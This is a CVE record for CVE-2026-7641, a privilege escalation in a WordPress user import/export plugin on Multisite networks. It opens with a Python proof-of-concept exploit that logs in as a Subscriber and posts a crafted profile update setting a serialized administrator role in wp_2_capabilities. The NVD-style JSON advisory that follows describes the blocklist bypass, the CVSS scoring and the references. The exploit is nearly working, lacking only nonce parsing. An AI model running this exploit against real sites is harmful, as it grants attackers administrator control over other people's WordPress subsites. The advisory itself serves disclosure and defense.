CVE-2026-7641

import requests # Target configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" session = requests.Session() # 1. Login to get authenticated session and nonce login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # 2. Fetch profile page to retrieve nonce (_wpnonce) profile_page = session.get(target_url) # Note: Real exploit requires parsing HTML to extract '_wpnonce' # For PoC demonstration, assuming nonce is 'EXTRACTED_NONCE_VALUE' nonce = "EXTRACTED_NONCE_VALUE" # 3. Exploit: Update user meta to escalate privileges on Subsite ID 2 # The payload updates the wp_2_capabilities meta key exploit_data = { "_wpnonce": nonce, "_wp_http_referer": "/wp-admin/profile.php", "from": "profile", "checkuser_id": "1", # Serialized Administrator role for subsite ID 2 "wp_2_capabilities": "a:1:{s:13:\"administrator\";b:1;}", "wp_2_user_level": "10", "action": "update", "submit": "Update Profile" } # 4. Send the payload response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Payload sent. Check if privileges are elevated.") else: print("Failed to send payload.")

{"cve": {"id": "CVE-2026-7641", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:01.953", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Import and export users and customers plugin for WordPress is vulnerable to Privilege Escalation in all versions up to and including 2.0.8 via the `save_extra_user_profile_fields()` function. This is due to an incomplete blocklist that correctly restricts capability meta keys for the primary site (e.g., `wp_capabilities`, `wp_user_level`) but fails to block the equivalent meta keys for any other subsite in a WordPress Multisite network (e.g., `wp_2_capabilities`, `wp_2_user_level`), allowing these keys to pass the `in_array()` check and be written directly to user meta via `update_user_meta()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to Administrator on any subsite within the Multisite network by submitting a crafted profile update to `/wp-admin/profile.php`. Exploitation requires that an administrator has previously imported a CSV file containing multisite-prefixed capability column headers and has enabled the 'Show fields in profile?' option, which causes those keys to be stored in the `acui_columns` option and exposed as editable fields on the user profile page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.6/classes/columns.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.6/classes/columns.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.6/classes/helper.php#L150", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.6/classes/multisite.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.8/classes/columns.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.8/classes/columns.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.8/classes/helper.php#L150", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/2.0.8/classes/multisite.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/trunk/classes/columns.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/trunk/classes/columns.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/trunk/classes/helper.php#L150", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/trunk/classes/multisite.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3515646", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/368cff00-6a86-443e-aec4-4115a229a3c1?source=cve", "source": "[email protected]"}]}}